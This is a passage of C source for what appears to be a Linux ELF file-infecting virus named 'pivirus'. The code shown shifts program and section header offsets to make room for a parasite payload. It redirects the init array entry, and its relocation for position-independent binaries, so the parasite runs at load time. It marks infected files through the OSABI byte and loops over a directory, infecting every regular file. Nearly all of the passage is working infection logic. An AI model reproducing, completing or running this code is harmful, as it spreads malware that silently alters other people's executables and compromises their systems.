++i, ++elfphdr) 825 | { 826 | if (elfphdr->p_offset > (target_code_offset + target_code_size)) 827 | { 828 | if (flag) 829 | { 830 | target_elf->filehole = elfphdr->p_offset - (target_code_offset + target_code_size); 831 | --flag; 832 | } 833 | if ((parasite_len + target_elf->hostilefunc.hostile_len) > target_elf->filehole) 834 | elfphdr->p_offset += PAGE_SIZE; 835 | } 836 | } 837 | 838 | if (target_elf->elfstructs.shdr) 839 | { 840 | for (Elf64_Half i = 0; i < target_elf->elfstructs.ehdr->e_shnum; ++i, ++elfshdr) 841 | { 842 | if ((elfshdr->sh_offset + elfshdr->sh_size) == (target_code_offset + target_code_size)) 843 | elfshdr->sh_size += parasite_len; 844 | 845 | if (elfshdr->sh_offset > (target_code_offset + target_code_size)) 846 | { 847 | if ((parasite_len + target_elf->hostilefunc.hostile_len) > target_elf->filehole) 848 | elfshdr->sh_offset += PAGE_SIZE; 849 | } 850 | } 851 | if ((parasite_len + target_elf->hostilefunc.hostile_len) > target_elf->filehole) 852 | target_elf->elfstructs.ehdr->e_shoff += PAGE_SIZE; 853 | } 854 | 855 | /* 856 | * - pivirus doesn't alter the original entry point of the target , instead the entry in the init array section that 857 | * corresponds to frame dummy function's address is overwritten with the address of the parasite's entry point 858 | * 859 | * - for ET_DYN binaries there will be a relocation entry for every entry in the init array section with the r_addend member 860 | * of the relocation entry holding the offset of the function in the binary, so the dynamic linker will add the loading 861 | * address of the binary to r_addend value and modify the init array section's entry @ r_offset 862 | */ 863 | if (target_elf->elfstructs.ehdr->e_type == ET_DYN) 864 | { 865 | for (uint64_t i = 0; i < (target_elf->elfstructs.relasz / sizeof(Elf64_Rela)); ++i, ++elfrela) 866 | { 867 | if (ELF64_R_TYPE(elfrela->r_info) == R_X86_64_RELATIVE) 868 | { 869 | if (elfrela->r_addend == (Elf64_Sxword)(target_elf->elfstructs.initarray[0])) 870 | { 871 | elfrela->r_addend = (Elf64_Sxword)(target_code_vaddr + target_code_size); 872 | break; 873 | } 874 | } 875 | } 876 | } 877 | *target_elf->elfstructs.initarray = target_code_vaddr + target_code_size; 878 | 879 | target_elf->elfstructs.textphdr->p_memsz += parasite_len + target_elf->hostilefunc.hostile_len; 880 | target_elf->elfstructs.textphdr->p_filesz += parasite_len + target_elf->hostilefunc.hostile_len; 881 | 882 | pi_edit_parasite(); 883 | 884 | old_osabi = target_elf->elfstructs.ehdr->e_ident[EI_OSABI]; 885 | 886 | if (pi_create_infected_clone() == PI_OPERATION_ERROR) 887 | target_elf->elfstructs.ehdr->e_ident[EI_OSABI] = old_osabi; //infection fails so unmark the binary 888 | 889 | target_cleanup: 890 | pi_munmap((uint64_t)target_elf->mmap,target_elf->stat.st_size); 891 | pi_close(target_elf->fd); 892 | } 893 | 894 | int32_t pi(const char *target_dir) 895 | { 896 | char dirents_buf[DIRENTS_BUF_SIZE]; 897 | int64_t fd, nread, syscall_ret; 898 | linux_dirent64_t *dir; 899 | 900 | syscall_ret = pi_chdir(target_dir); 901 | pi_check_syscall_fault(syscall_ret); 902 | 903 | fd = pi_open(target_dir,O_RDONLY | O_DIRECTORY,0); 904 | pi_check_syscall_fault(fd); 905 | 906 | if (pi_mm_getpool() == PI_OPERATION_ERROR) 907 | return PI_OPERATION_ERROR; 908 | 909 | for (;;) 910 | { 911 | nread = pi_getdents64(fd,dirents_buf,DIRENTS_BUF_SIZE); 912 | pi_check_syscall_fault(nread); 913 | 914 | if (nread == 0) 915 | break; 916 | 917 | for (uint64_t pos = 0, i = 0; pos < nread; ++i, pos += dir->d_reclen) 918 | { 919 | dir = (struct linux_dirent64 *)(dirents_buf + pos); 920 | 921 | if (dir->d_type == DT_REG) 922 | { 923 | 924 | target_elf = pi_malloc(sizeof(target_elf_t)); 925 | 926 | target_elf->name = dir->d_name; 927 | 928 | pi_infect_target(); 929 | 930 | pi_free(target_elf); 931 | } 932 | } 933 | } 934 | 935 | return PI_OPERATION_SUCCESS; 936 | } 937 | void _start(start_args_t start_args) 938 | { 939 | pi(start_args.argv[1]); 940 | pi_exit(0); 941 | } 942 | 943 | --------------------------------------------------------------------------------